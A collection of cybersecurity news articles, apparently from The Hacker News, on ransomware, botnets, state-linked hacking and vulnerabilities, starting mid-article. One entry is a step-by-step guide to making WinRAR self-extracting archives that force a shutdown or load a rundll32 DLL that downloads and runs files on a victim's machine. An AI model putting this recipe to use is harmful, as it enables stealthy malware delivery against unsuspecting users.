It's notable that PowerRatankba and Gh0st RAT don't exploit any zero-day vulnerability; instead, Lazarus Group relies on mixed programming practices, like C&C communication over HTTP, use of Spritz encryption algorithm and the Base64-encoded custom encryptor.
"It is already well-known that Lazarus Group has targeted and successfully breached several prominent cryptocurrency companies and exchanges," the researchers say. "From these breaches, law enforcement agencies suspect that the group has amassed nearly $100 million worth of cryptocurrencies based on their value today."
Besides stealing cryptocurrencies, the group was also found infecting SoftCamp point-of-sale (POS) terminals, largely deployed in South Korea, using RatankbaPOS malware for stealing credit card data.
Since RatankbaPOS was sharing same C&C server as the PowerRatankba implant, it is believed that both the implants are linked to Lazarus Group.
The explosive growth in cryptocurrency values has motivated not only traders but also hackers to invest all their time and resources in making digital wealth.
More details about the new malware campaigns run by Lazarus Group can be found in the in-depth report [PDF], titled "North Korea Bitten by Bitcoin Bug—Financially motivated campaigns reveal a new dimension of the Lazarus Group," published by PowerPoint on Wednesday.
| Malware |
WD TV Live Hub Compromised - Multiple Vulnerabilities Found By Dr. Alberto Fontanella | https://thehackernews.com/2011/07/wd-tv-live-hub-compromised-multiple.html | WD TV Live Hub Compromised - Multiple Vulnerabilities Found By Dr. Alberto Fontanella
Dr. Alberto Fontanella found on (Western Digital) WD TV Live Hub appliance with the last firmware installed (2.06.10) and 3 exploits to get admin password, deface appliance and get root shell:
Author: Dr. Alberto Fontanella
E-mail: itsicurezza<0x40>yahoo.it
Web: www.fulgursec.com
Vendor: Western Digital
Vendor Web: www.wdc.com
Version: WD TV Live Hub <= 2.06.10 (firmware) ALL VERSIONS
Type: Appliance
Issues: Storage Anonymous Access, Full Path Disclosure, Bypass Authentication Schema, Appliance Command Execution, DoS, OS , Command Execution, Root Shell ;-)
* AF - Owning WD TV Live Hub
FILE: AF-Owning_WD_TV_Live_Hub.pdf
INFO: Paper that shows all issues found on WD TV Live Hub and how use it to get Root!
* AF - PoC/Exploit WD TV Live Hub Get Admin Password
FILE: AF-WD_TV_Live_Hub_password.sh
INFO: Exploit (Bypass Authentication Schema) to Get Admin Password of Web Console
* AF - PoC/Exploit WD TV Live Hub Deface
FILE: AF-WD_TV_Live_Hub_deface.sh
INFO: Exploit (Appliance Command Execution) to Deface WD TV Live Hub
*AF - PoC/Exploit WD TV Live Hub Get Root Shell
FILE: AF-WD_TV_Live_Hub_root_shell.sh
INFO: Exploit (OS Command Execution) to Get Root Shell
Download all Files Here
| Vulnerability |
FBI, DHS Warn Of Possible Major Ransomware Attacks On Healthcare Systems | https://thehackernews.com/2020/10/ransomware-attack-hospital.html | The US Federal Bureau of Investigation (FBI), Departments of Homeland Security, and Health and Human Services (HHS) issued a joint alert Wednesday warning of an "imminent" increase in ransomware and other cyberattacks against hospitals and healthcare providers.
"Malicious cyber actors are targeting the [Healthcare and Public Health] Sector with TrickBot malware, often leading to ransomware attacks, data theft, and the disruption of healthcare services," the Cybersecurity and Infrastructure Security Agency said in its advisory.
The infamous botnet typically spreads via malicious spam email to unsuspecting recipients and can steal financial and personal data and drop other software, such as ransomware, onto infected systems.
It's worth noting that cybercriminals have already used TrickBot against a major healthcare provider, Universal Health Services, whose systems were crippled by Ryuk ransomware late last month.
TrickBot has also seen a severe disruption to its infrastructure in recent weeks, what with Microsoft orchestrating a coordinated takedown to make its command-and-control (C2) servers inaccessible.
"The challenge here is because of the attempted takedowns, the TrickBot infrastructure has changed and we don't have the same telemetry we had before," Hold Security's Alex Holden told The New York Times.
Although the federal report doesn't name any threat actor, the advisory makes a note of TrickBot's new Anchor backdoor framework, which has been recently ported to Linux to target more high-profile victims.
"These attacks often involved data exfiltration from networks and point-of-sale devices," CISA said. "As part of the new Anchor toolset, Trickbot developers created Anchor_DNS, a tool for sending and receiving data from victim machines using Domain Name System (DNS) tunneling."
As The Hacker News reported yesterday, Anchor_DNS is a backdoor that allows victim machines to communicate with C2 servers via DNS tunneling to evade network defense products and make their communications blend in with legitimate DNS traffic.
Also coinciding with the warning is a separate report by FireEye, which has called out a financially-motivated threat group it calls "UNC1878" for the deployment of Ryuk ransomware in a series of campaigns directed against hospitals, retirement communities, and medical centers.
Urging the HPH sector to patch operating systems and implement network segmentation, CISA also recommended not paying ransoms, adding it may encourage bad actors to target additional organizations.
"Regularly back up data, air gap, and password protect backup copies offline," the agency said. "Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, secure location."
| Cyber_Attack |
First Irish language Ransomware Malware demanding €100 for unlock | https://thehackernews.com/2012/09/first-irish-language-ransomware-malware.html | A new Ransomware Malware dubbed Gaeilge locks up an infected computer and attempts to extort €100 from the user for an unlock code. The demand for cash reportedly appeared in poorly written Gaelic, and the software nastie was spotted on a computer in County Donegal, Ireland.
Gaeilge tell computer users that attempts to access online pornography sent it into shut-down mode. But instead of giving in to the monetary request, the victim took the compromised machine to the repair store, The Register said.
Ransomware (also referred to in some cases as cryptoviruses, cryptotrojans or cryptoworms) comprises a class of malware which restricts access to the computer system that it infects, and demands a ransom paid to the creator of the malware in order for the restriction to be removed.
Technician Brian McGarvey of Techie2u computer repairs told that it was the first time he'd come across a virus written in the Irish language during his 12 years of experience in the job. "It's quite a sophisticated and convincing scam," McGarvey said
| Malware |
Adobe Releases Emergency Flash Player Update to Address Critical Vulnerability | https://thehackernews.com/2014/11/adobe-flash-player-update.html | Adobe has rolled-out an urgent out-of-band update for a critical remote code-execution vulnerability in its popular Flash Player that is currently being exploited by hackers.
The critical vulnerability (CVE 2014-8439) in Flash Player for Windows, Mac and Linux was originally mitigated more than a month ago in October 14, 2014 patch release, but a French researcher Kafeine found its exploits in the Angler and Nuclear malware kits after Adobe released a patch, according to security vendor F-Secure.
"The vulnerability is being exploited in blind mass attack. No doubt about it : the team behind Angler is really good at what it does," Kafeine said in a blog post.
The vulnerability allows an attacker to execute arbitrary code due to a weakness in the way a dereferenced pointer to memory is handled. An attacker could serve a specially crafted Flash file to trigger the vulnerability, which would lead to the execution of attacker's code in order to take control of a target system.
Adobe rated the vulnerability as critical and recommended users and administrators to update their software on Windows, Mac OS X and Linux systems to the latest iteration as soon as possible.
"We considered the possibility that maybe the latest patch [from October] prevented the exploit from working and the root cause of the vulnerability was still unfixed, so we contacted the Adobe Product Security Incident Response Team," Timo Hirvonen, a senior researcher at F-Secure, wrote on Tuesday.
"They confirmed our theory and released an out-of-band update to provide additional hardening against a vulnerability in the handling of a dereferenced memory pointer that could lead to code execution."
According to the recent security bulletin, Adobe has released the latest update for its Flash plugin, version 15.0.0.239 for Windows and Mactintosh users, version 13.0.0.258 for those that use the Adobe Flash Player Extended Support Release, and version 11.2.202.424 for Linux users.
Microsoft will soon be releasing security updates for Internet Explorer 10 and 11 and Google will be releasing for Chrome to fix the Flash Players embedded in them.
This will be Adobe's second attempt to snap shut this particular security vulnerability in Flash, and the company said the updates for the Windows, Linux and Apple OS X versions of Flash Player will "provide additional hardening" against the previous CVE-2014-8439 flaw that was patched in the past.
In order to know the version of Flash Player you are running currently, visit the About Flash Player page. Users can update the latest iterations from Adobe Flash Player Download Center, or via the update mechanism within the product when prompted.
| Vulnerability |
Self-extracting archive (SFX) as Creative Virus Handler | https://thehackernews.com/2012/01/self-extracting-archive-sfx-as-creative.html | Self-extracting archive (SFX) as Creative Virus Handler
Yesterday I Found and interesting article about "Self-extracting archive (SFX)" on Unremote.org by DarkCoderSc. SFX is a little application that contains compressed files. Creating a customized WinRAR SFX archives is a very easy task, but not all people know how to do it. It is therefore exactly the same as a .ZIP or .RAR archive. The only difference is that, when you execute it, will automatically extract the files. However, if you add some parameters, you can execute them after extraction or execute a shell command before extraction. So this feature can be used as good virus handler. Let's See how?
DarkCoderSc shared his experience with us using a Video Demonstration as shown Below.
Start up the WinRAR application; click 'Browse for folder' under the 'File' menu and browse to the location of the file.
With the file highlighted, clicking on the 'Add' button will kickoff the archiving process and selecting the 'Create SFX archive' option will give the file its self-extracting feature.
Under the 'Advanced' tab and clicking on the 'SFX options' button, where we can now configure our 'Advanced SFX options'.
In the first input field you can add a file name that already exist on the current drive or one of the extracted files to execute after the extraction.
In the second input field you can add a file name that already exist in the current drive to execute before the extraction.
PART 1: Run Basic Windows Shell Commands using SFX:
Example 1: %SYSTEMDRIVE%\windows\system32\cmd.exe /k shutdown -s -f -t 3600
In the first input enter this command if we generate the SFX package and run it after the extraction we see a DOS window and a windows notification saying our computer will shutdown in 1 hour.
Example 2: %SYSTEMDRIVE%\windows\notepad.exe c:\atextfile.txt
You can do this with any other present application on the system such as opening a notepad file.
Example 3: %SYSTEMDRIVE%\Program Files\Internet Explorer\iexplore.exe https://unremote.org/
Opening a webpage using Internet Explorer
PART 2: Run Advance Tricky Commands using SFX
Using only a little .dll in the SFX package attacker can download and execute an application on victim's system that can or cannot be a virus and For this we just required "Rundll32 Microsoft application" and "FASM (Flat Assembler) Compiler".
Now Create a new folder and a new file called ourdll.asm when its done open this file in FASM and paste this code in the file. Edit the path to Files in sample Code for personal Usage.
Now in the menu bar click on "Run" >> "Compile". Our dll is ready now, Let's create our SFX file downloader .
You need to follow the next steps:
- Right click on the dll and click on "Add to archive" << WinRAR explorer option
- Choose SFX package in the options list
- Go to Advanced Settings tab
- Click on SFX Settings button
- In extract to input add this line - "%APPDATA%\dcsc\ourdll.dll"
- In the first input parameter enter this line
%SYSTEMDRIVE%\windows\system32\rundll32.exe %APPDATA%\dcsc\ourdll.dll, dcscdownload
Now we can generate our archive, if we have correctly setup the SFX, then it will download and execute the chosen file after the full extractions.
PART 3: SFX as System Killer
The SFX manager includes two other dangerous functions (Run as administrator and Delete files after extraction). The option Run as administrator will ask to run it as admin, so the SFX will have all the rights on the system and, after extraction, the delete files will be usefull to do harmful things in the system.
To Get the Steps of this Method, You should Read the Original Article Written By Unremote.org.
| Vulnerability |
Cryptocurrency Mining Malware Infected Over Half-Million PCs Using NSA Exploit | https://thehackernews.com/2018/01/cryptocurrency-mining-malware.html | 2017 was the year of high profile data breaches and ransomware attacks, but from the beginning of this year, we are noticing a faster-paced shift in the cyber threat landscape, as cryptocurrency-related malware is becoming a popular and profitable choice of cyber criminals.
Several cybersecurity firms are reporting of new cryptocurrency mining viruses that are being spread using EternalBlue—the same NSA exploit that was leaked by the hacking group Shadow Brokers and responsible for the devastating widespread ransomware threat WannaCry.
Researchers from Proofpoint discovered a massive global botnet dubbed "Smominru," a.k.a Ismo, that is using EternalBlue SMB exploit (CVE-2017-0144) to infect Windows computers to secretly mine Monero cryptocurrency, worth millions of dollars, for its master.
Active since at least May 2017, Smominru botnet has already infected more than 526,000 Windows computers, most of which are believed to be servers running unpatched versions of Windows, according to the researchers.
"Based on the hash power associated with the Monero payment address for this operation, it appeared that this botnet was likely twice the size of Adylkuzz," the researchers said.
The botnet operators have already mined approximately 8,900 Monero, valued at up to $3.6 million, at the rate of roughly 24 Monero per day ($8,500) by stealing computing resources of millions of systems.
The highest number of Smominru infection has been observed in Russia, India, and Taiwan, the researchers said.
The command and control infrastructure of Smominru botnet is hosted on DDoS protection service SharkTech, which was notified of the abuse but the firm reportedly ignored the abuse notifications.
According to the Proofpoint researchers, cybercriminals are using at least 25 machines to scan the internet to find vulnerable Windows computers and also using leaked NSA's RDP protocol exploit, EsteemAudit (CVE-2017-0176), for infection.
"As Bitcoin has become prohibitively resource-intensive to mine outside of dedicated mining farms, interest in Monero has increased dramatically. While Monero can no longer be mined effectively on desktop computers, a distributed botnet like that described here can prove quite lucrative for its operators," the researchers concluded.
"The operators of this botnet are persistent, use all available exploits to expand their botnet, and have found multiple ways to recover after sinkhole operations. Given the significant profits available to the botnet operators and the resilience of the botnet and its infrastructure, we expect these activities to continue, along with their potential impacts on infected nodes."
Another security firm CrowdStrike recently published a blog post, reporting another widespread cryptocurrency fileless malware, dubbed WannaMine, using EternalBlue exploit to infect computers to mine Monero cryptocurrency.
Since it does not download any application to an infected computer, WannaMine infections are harder to detect by antivirus programs. CrowdStrike researchers observed the malware has rendered "some companies unable to operate for days and weeks at a time."
Besides infecting systems, cybercriminals are also widely adopting cryptojacking attacks, wherein browser-based JavaScript miners utilise website visitors' CPUs power to mine cryptocurrencies for monetisation.
Since recently observed cryptocurrency mining malware attacks have been found leveraging EternalBlue, which had already been patched by Microsoft last year, users are advised to keep their systems and software updated to avoid being a victim of such threats.
| Cyber_Attack |
Mariposa botnet creator goes on trial | https://thehackernews.com/2012/08/mariposa-botnet-creator-goes-on-trial.html | 26-year-old Slovenian hacker known as Iserdo stands thought to have been behind the Mariposa botnet is on trial in Slovenia, charged with having masterminded an international cybercrime gang.
At its height, the Mariposa botnet infected up to 12.7 million PCs, with more than half of the Fortune 1,000 companies believed to have been compromised, including 40 major banks. Once a computer had been compromised and brought into the botnet, operators could steal information from innocent users - including credit card details and banking passwords.
Computer crime-fighting authorities had succeeded in bringing down the Mariposa botnet at the end of 2009, FBI officials worked with Spanish and Slovenian authorities to track down Mariposa's mastermind, Iserdo.
He was said to charge between $500 for basic versions of the botnet code and up to $1,300 for more advanced ones, which included customised features, such as capabilities which allowed its operators to to steal credit cards and online banking credentials.
The code was even found to have infected 3,000 HTC handsets shipped by mobile operator Vodafone. Mariposa style botnets were built using Škorjanc's "Butterfly Bot" code, according to the Slovenian authorities, and it was sold to cyber criminals worldwide. Mariposa, the Spanish version of the botnet, was the largest and the most notorious.
| Malware |
SamSam Ransomware Attacks Extorted Nearly $6 Million | https://thehackernews.com/2018/07/samsam-ransomware-attacks.html | Ransomware has become a multimillion-dollar black market business for cybercriminals, and SamSam being a great example.
New research revealed that the SamSam ransomware had extorted nearly $6 million from its victims since December 2015, when the cyber gang behind the ransomware started distributing the malware in the wild.
Researchers at Sophos have tracked Bitcoin addresses owned by the attackers mentioned on ransom notes of each SamSam version and found the attackers have received more than $5.9 million from just 233 victims, and their profits are still on the rise, netting around $300,000 per month.
"In total, we have now identified 157 unique addresses which have received ransom payments as well as 89 addresses which have been used on ransom notes and sample files but, to date, have not received payments," the new report by Sophos reads.
SamSam Ransomware Attacks
>
What makes SamSam stand out from other forms of ransomware is that SamSam is not distributed in an unplanned way via spam email campaigns; instead, attackers choose potential targets and infect systems manually.
Attackers first compromise the RDP on a targeted system—either by conducting brute force attack or using stolen credentials purchased from the dark web—and then attempt to strategically deploy SamSam ransomware throughout the network by exploiting vulnerabilities in other systems.
Unlike other well-known ransomware like WannaCry and NotPetya, SamSam does not include any worm-like or virus capabilities to spread by itself. Instead, the ransomware relies on the human attacker to spread it.
Once they're on the entire network, the ransomware then encrypts the system's data and demand a huge ransom payment (usually more than $50,000 which is much higher than normal) in Bitcoin in exchange for the decryption keys.
"A multi-tiered priority system ensures that the ransomware encrypts the most valuable data first, but eventually it also encrypts everything else that isn't in a very short list of Windows system-related files."
"This method has several benefits. As a manual attack, it poses no risk of spreading out of control, attracting unwanted attention. It also allows the attacker to cherry pick targets, and to know which computers have been encrypted."
SamSam Ransomware Chooses Its Targets Carefully
Since December 2015, SamSam has significantly targeted some large organizations, including the Atlanta city government, the Colorado Department of Transportation, several hospitals and educational institutions like the Mississippi Valley State University.
So far, the largest ransom paid by an individual victim is valued at $64,000—a significantly large amount compared to most ransomware families.
Since the SamSam victims do not see any other option to restore their encrypted files, a significant percentage of victims are paying the ransom, making the attack more effective.
According to Sophos, 74 percent of the known victim organizations identified by the security firm is based in the United States, and others are distributed in Canada, the UK, and the Middle East.
To protect against this threat, users and organizations are recommended to keep regular backups, use multi-factor authentication, restrict access to RDP(on port 3389), and always keep systems and software up-to-date.
| Cyber_Attack |
San Francisco Metro System Hacked with Ransomware; Resulting in Free Rides | https://thehackernews.com/2016/11/transit-system-hacked.html | Nothing is immune to being hacked when hackers are motivated.
The same proved by hackers on Friday, when more than 2,000 computer systems at San Francisco's public transit agency were apparently got hacked.
San Francisco's Municipal Transportation Agency, also known as MUNI, offered free rides on November 26th after MUNI station payment systems and schedule monitors got hacked by ransomware and station screens across the city started displaying a message that reads:
"You Hacked, ALL Data Encrypted. Contact For Key([email protected])ID:681 ,Enter."
According to the San Francisco Examiner, MUNI confirmed a Ransomware attack against the station fare systems, which caused them to shut down ticket kiosks and make rides free this weekend.
As you can see, the above message delivered by the malware followed by an email address and ID number, which can then be used to arrange ransom payments.
MUNI Spokesman Paul Rose said his agency was investigating the matter and "working to resolve the situation," but did not provide details as of how MUNI got hacked.
"We are currently working to resolve the situation," said Rose. "There is an ongoing investigation, and it wouldn't be appropriate to provide additional details."
Pay $73,000 to Free Systems from Ransomware
Trains themselves were not affected by the malware attack, and the MUNI claimed that the payments were resumed on the morning of November 27th. The MUNI looks after trains, trams and buses around the city, including San Francisco's iconic cable cars.
It is yet not clear exactly who was responsible for the attack (besides a pseudonym "Andy Saolis"), but according to local media reports, the agency's computers were being held by ransomware until the MUNI paid the equivalent of more than $73,000 in Bitcoin.
Andy Saolis is a pseudonym commonly used in HDDCryptor ransom attacks, which uses commercial tools to encrypt hard drives and network shares on Windows machines using randomly generated keys and then overwrite the hard disks' MBRs to prevent systems from booting up properly.
The target machine is typically infected by accidentally opening a malicious executable in an email or download, and then the malware spreads out across the network.
The email address, [email protected], used by anonymous criminal points the city to a Russian email address to arrange payment and has been linked to other cyber attacks as well.
The Hacker Linked to a Previous Ransomware Starin
When reaching at the provided email, the hacker provided a statement in broken English, which read:
"We don't attention to interview and propagate news! Our software working completely automatically and we don't have targeted attack to anywhere! SFMTA network was Very Open and 2000 Server/PC infected by software! So we are waiting for contact any responsible person in SFMTA but I think they don't want deal ! so we close this email tomorrow!"
The same email address, [email protected], was linked to a ransomware strain called Mamba in September. The ransomware employs tactics similar to those demonstrated against the MUNI systems.
The hacker provided hoodline a list of systems the hacker claimed to have infected in Muni's network, which came out to be 2,112 of the total 8,656 computer networks. The hacker also said that the MUNI had "one more day" to make a deal.
Not much about the hack is known; the extent of the hack and hacker's identity remain a mystery for now, but the incident once again reminds us that how vulnerable our critical infrastructure remains.
| Malware |
Database of 1.4 Billion Records leaked from World's Biggest Spam Networks | https://thehackernews.com/2017/03/email-marketing-database.html | A database of 1.4 billion email addresses combined with real names, IP addresses, and often physical address has been exposed in what appears to be one the largest data breach of this year.
What's worrisome? There are high chances that you, or at least someone you know, is affected by this latest data breach.
Security researcher Chris Vickery of MacKeeper and Steve Ragan of CSOOnline discovered an unsecured and publicly exposed repository of network-available backup files linked to a notorious spamming organization called River City Media (RCM), led by notorious spammers Matt Ferrisi and Alvin Slocombe.
Spammer's Entire Operation Exposed
The database contains sensitive information about the company's operations, including nearly 1.4 Billion user records, which was left completely exposed to anyone – even without any username or password.
According to MacKeeper security researcher Vickery, RCM, which claims to be a legitimate marketing firm, is responsible for sending around a billion unwanted messages per day.
Besides exposing more than a billion email addresses, real names, IP addresses and, in some cases, physical addresses, the leak exposed many documents that revealed the inner workings of RCM's spam operation.
"The situation presents a tangible threat to online privacy and security as it involves a database of 1.4bn email accounts combined with real names, user IP addresses, and often physical address," Vickery said. "Chances are that you, or at least someone you know, is affected."
Vickery wasn't able to fully verify the leak but said he discovered addresses he knew were accurate in the database.
Wondering how spamming operations can be profitable? One leaked text shows a single day of activity of RCM that sent 18 million emails to Gmail users and 15 million to AOL users, and the total take of the spamming company was around $36,000.
Illegal Hacking Techniques Used by RCM
The company employed many illegal hacking techniques to target as many users as possible. One of the primary hacking methods described by the researchers is the Slowloris attacks, a method designed to cripple a web server rather than subvert it in this manner.
"[Slowloris is] a technique in which the spammer seeks to open as many connections as possible between themselves and a Gmail server," Vickery writes in a blog post published today.
"This is done by purposefully configuring your own machine to send response packets extremely slowly, and in a fragmented manner, while constantly requesting more connections."
The researchers have reported that details of RSM's operations and its abusive scripts and techniques have been sent to Microsoft, Apple, Salted Hash, Spamhaus, and others affected parties.
Meanwhile, the researchers have also notified law enforcement agencies, which they says, have expressed keen interest in the matter.
In response to the latest discovery, Spamhaus will be blacklisting RCM's entire infrastructure from its Register of Known Spam Operations (ROKSO) database that tracks professional spam operations and lists them using a three-strike rule.
| Data_Breaches |
Android Security shielded with full ASLR implementation | https://thehackernews.com/2012/07/android-security-shielded-with-full.html | The latest release of Google's Android mobile operating system has finally been properly fortified with an industry-standard defense. It's designed to protect end users against hack attacks that install malware on handsets.
Android 4.1 Jelly Bean includes several new exploit mitigations and a more extensive implementation of ASLR to help defeat many kinds of exploits.
ASLR is an exploit mitigation method that randomizes the positions of key data areas such as libraries, heap, stack, and the base of the executable, in a process's address space, and that makes it near impossible for malware authors and hackers to predict where their malicious payloads will be loaded.
"As we mentioned in our previous post on Android ASLR, the executable mapping in the process address space was not randomized in Ice Cream Sandwich, making ROP-style attacks possible using the whole executable as a source of gadgets. In Jelly Bean, most binaries are now compiled/linked with the PIE flag, which means they will be properly randomized when executed," Jon Oberheide of Duo Security.
That will make it significantly harder to use a technique known as return-oriented programming when exploiting buffer overflows and other memory-corruption vulnerabilities discovered in the mobile platform. Jelly Bean also provides defenses to prevent information leakage exploits that can lead to much more serious OS exploits.
| Malware |
Vulnerability found in Apple's iOS can hide malicious code inside apps | https://thehackernews.com/2013/08/vulnerability-found-in-apples-ios-can.html | A Georgia Tech researcher has found a weakness in Apple's iOS mobile platform that could let hackers to hide malicious code inside apps and can be surreptitiously planted on the Apple App Store.
Researchers team created a proof-of-concept attack that was published in the Apple App Store and used to remotely launch attacks on a controlled batch of devices, enabling them to post unauthorized tweets, take photos and even go after other apps.
"Our research shows that despite running inside the iOS sandbox, a Jekyll-based app can successfully perform many malicious tasks, such as posting tweets, taking photos, sending email and SMS, and even attacking other apps all without the user's knowledge."
Using a BeagleBoard, team created a USB malicious charger called Mactans that can install apps without user knowledge within a minute of being plugged in.
In one demonstration, the attacker was able to hide the iPhone Facebook application and install a malicious copy in its place. The malware executed its task, then launched the legitimate hidden copy of Facebook, leaving the user none the wiser.
Soon after the researchers reported the bug to Apple and they are fixing that flaw in iOS 7, that notifies users when they plug their mobile device into any peripheral that attempts to establish a data connection, and is working on ways to address the weaknesses revealed through Jekyll.
| Vulnerability |
THN Weekly RoundUp – 12 Hacking Stories You Don't Want To Miss This Week | https://thehackernews.com/2015/10/weekly-hacking-news.html | Here we are with our weekly roundup, showcasing last week's top cyber security threats and challenges.
Just in case you missed any of them (ICYMI), THN Weekly Round-Up helps you provide all important stories of last week in one shot.
We advise you to read the full story (just click 'Read More' because there's some valuable advice in it as well).
Here's the list:
1. Facebook to Launch Its Own Satellite to Beam Free Internet
Facebook has revealed its plans to launch a $500 Million Satellite by next year in an effort to provide free or cheap Internet access in the developing countries.
The social network giant has teamed up with the French satellite provider Eutelsat Communications to beam free Internet access to several parts of countries in Sub-Saharan Africa.
For detailed information on Facebook's Satellite Project – Read more…
2. Angler Exploit Kit Campaign Generating $30 Million Took Down
Researchers took down a large ransomware campaign connected to the Angler Exploit Kit that was making an estimated $30 Million a year in revenue for hackers.
The hacker or group of hackers generating $30 Million annually is responsible for up to 50% of Angler Exploit Kit activity, which simply means that the rest of Angler kit business might be generating revenue of more than $60M annually for hackers worldwide.
For more information – Read more…
3. This Secure Operating System Protects You Even if You Get Hacked!
Qubes OS – an open-source Linux-based security-oriented operating system for personal computers runs everything inside the virtual machines.
The visualization mechanism of Qubes OS follows Security by Isolation (Software Compartmentalization) principle to secure the systems, which means, enabling the Principle of least privileges.
So, in case you become a victim of any malicious cyber attack, Qubes OS doesn't let an attacker take over your entire computer.
For in-depth information on Qubes OS – Read more…
4. How to Activate GodMode in Windows 10
God Mode – also known as 'Windows Master Control Panel Shortcut' – is an inbuilt, but hidden Windows' feature that provides additional customization options for the Microsoft's newest operating system.
Enabling God Mode in Windows 10 essentially unlocks a backdoor of the operating system to access 260+ additional settings from a single folder.
To know how to activate GodMode in Windows 10 – Read more…
5. British Agency Can Hack Any Smartphone With Just a Text Message
The British Intelligence Agency GCHQ has powers to hack any smartphone devices with just a text message, said the former NSA contractor and global surveillance whistleblower Edward Snowden.
According to Snowden, GCHQ have special tools that let it take over your smartphones with just a text message and there is "very little" you can do to prevent the spying agency having "total control" over your devices.
For the full interview of Edward Snowden with BBC investigative programme Panorama – Read more…
6. Kemoge: Latest Android Malware that Can Root Your Smartphone
A new strain of malware, dubbed 'Kemoge Malware', has made its debut as an Adware on Android devices, allowing third-party app stores to pilfer your device's information as well as take full control of it.
Kemoge is an Adware in the disguise of popular Android Apps. The malware is distributed in the names of popular apps, but actually repackages the malicious code that even has the capability to root victims' phones, targeting a wide range of device models.
For more information on How does Kemoge Work and How to protect against it – Read more…
7. Microsoft Rewarded $24,000 Bounty to Hacker
Synack security researcher Wesley Wineberg won $24,000 from Microsoft for finding and reporting a critical flaw in Microsoft's Live.com authentication system that could allow hackers to gain access to victims' complete Outlook account or other Microsoft services.
Wineberg developed a 'proof-of-concept' exploit app, named 'Evil App', that allowed him to bypass Microsoft's OAuth protection mechanism, effectively gaining access to everything in victim's account.
For detailed information and video demonstration – Read more…
8. End of the Most Widely used SHA-1 Hash Algorithm
One of the Internet's widely adopted cryptographic hash function SHA-1 is counting its last breaths.
Researchers have claimed that SHA-1 is vulnerable to the Collision Attacks, which can be exploited to forge digital signatures, allowing attackers to break communications encoded with SHA-1.
For in-depth information on Collision attacks and how does it work – Read more…
9. Brute Force Amplification Attack Targeting WordPress Blogs
Security researchers have discovered a way to perform Amplified Brute Force attacks against WordPress' built-in XML-RPC feature in an effort to crack down administrator credentials.
XML-RPC protocol is used for securely exchanging data between computers across the Internet. It uses the system.multicall method that allows an application to execute multiple commands within one HTTP request.
The same method has been abused to amplify Brute Force attacks many times over by attempting hundreds of passwords within just one HTTP request, without been detected.
Here's how the Brute Force Amplification attack works – Read more…
10. China Arrested Hackers at U.S. Government Request
Just two weeks before Chinese President Xi Jinping visited the United States; China arrested a handful of hackers within its borders at the request of the United States government.
The arrested hackers were suspected of stealing state commercial secrets from United States firms and then selling or passing them to Chinese state-run companies.
For detailed information – Read More…
11. One-Minute Owner of Google.com Donated his Reward to Charity
The man who actually managed to buy Google.com got a huge reward from Google, but he donated all his prize money to charity.
Sanmay Ved, an ex-Google employee and now-Amazon employee, managed to buy the world's most-visited domain via Google's own Domains service for only $12.
However, Ved owned Google.com for one minute before the company realized it was a mistake and cancelled the transaction.
For in-depth information – Read More…
12. Critical Netgear Router Flaw Lets Anyone Hack You Remotely
Hackers have publicly exploited a serious flaw discovered in Netgear routers in order to bypass authentication mechanism on vulnerable routers.
Hackers could leverage the vulnerability to bypass authentication mechanism and then change the Domain Name System (DNS) settings of victims' routers to the rogue IP address.
The affected Netgear routers are JNR1010v2, JWNR2000v5, JWNR2010v5, WNR614, WNR618, WNR1000v4, WNR2020 and WNR2020v2.
For more details – Read more…
| Malware |
Hackers Exploit 'Telegram Messenger' Zero-Day Flaw to Spread Malware | https://thehackernews.com/2018/02/hackers-exploit-telegram-messenger-zero.html | A zero-day vulnerability has been discovered in the desktop version for end-to-end encrypted Telegram messaging app that was being exploited in the wild in order to spread malware that mines cryptocurrencies such as Monero and ZCash.
The Telegram vulnerability was uncovered by security researcher Alexey Firsh from Kaspersky Lab last October and affects only the Windows client of Telegram messaging software.
The flaw has actively been exploited in the wild since at least March 2017 by attackers who tricked victims into downloading malicious software onto their PCs that used their CPU power to mine cryptocurrencies or serve as a backdoor for attackers to remotely control the affected machine, according to a blogpost on Securelist.
Here's How Telegram Vulnerability Works
The vulnerability resides in the way Telegram Windows client handles the RLO (right-to-left override) Unicode character (U+202E), which is used for coding languages that are written from right to left, like Arabic or Hebrew.
According to Kaspersky Lab, the malware creators used a hidden RLO Unicode character in the file name that reversed the order of the characters, thus renaming the file itself, and send it to Telegram users.
For example, when an attacker sends a file named "photo_high_re*U+202E*gnp.js" in a message to a Telegram user, the file's name rendered on the users' screen flipping the last part.
Therefore, the Telegram user will see an incoming PNG image file (as shown in the below image) instead of a JavaScript file, misleading into downloading malicious files disguised as the image.
"As a result, users downloaded hidden malware which was then installed on their computers," Kaspersky says in its press release published today.
Kaspersky Lab reported the vulnerability to Telegram and the company has since patched the vulnerability in its products, as the Russian security firm said: "at the time of publication, the zero-day flaw has not since been observed in messenger's products."
Hackers Used Telegram to Infect PCs with Cryptocurrency Miners
During the analysis, Kaspersky researchers found several scenarios of zero-day exploitation in the wild by threat actors. Primarily, the flaw was actively exploited to deliver cryptocurrency mining malware, which uses the victim's PC computing power to mine different types of cryptocurrency including Monero, Zcash, Fantomcoin, and others.
While analyzing the servers of malicious actors, the researchers also found archives containing a Telegram's local cache that had been stolen from victims.
In another case, cybercriminals successfully exploited the vulnerability to install a backdoor trojan that used the Telegram API as a command and control protocol, allowing hackers to gain remote access to the victim's computer.
"After installation, it started to operate in a silent mode, which allowed the threat actor to remain unnoticed in the network and execute different commands including the further installation of spyware tools," the firm added.
Firsh believes the zero-day vulnerability was exploited only by Russian cybercriminals, as "all the exploitation cases that [the researchers] detected occurring in Russia," and a lot of artifacts pointed towards Russian cybercriminals.
The best way to protect yourself from such attacks is not to download or open files from unknown or untrusted sources.
The security firm also recommended users to avoid sharing any sensitive personal information in messaging apps and make sure to have a good antivirus software from reliable company installed on your systems.
| Vulnerability |
Growing market of zero-day vulnerability exploits pose real threat to Cyber Security | https://thehackernews.com/2013/12/growing-market-of-zero-day.html | NSS Labs issued the report titled "The Known Unknowns" to explain the dynamics behind the market of zero-day exploits.
Last week I discussed about the necessity to define a model for "cyber conflict" to qualify the principal issues related to the use of cyber tools and cyber weapons in an Information Warfare context, today I decided to give more info to the readers on cyber arsenals of governments.
Governments consider the use of cyber weapons as a coadiuvant to conventional weapons, these malicious application could be used for sabotage or for cyber espionage, they could be used to hit a specifically designed software (e.g. SCADA within a critical infrastructure) or they could be used for large scale operations infecting thousand of machines exploiting zero-day in common application (e.g. Java platform, Adobe software).
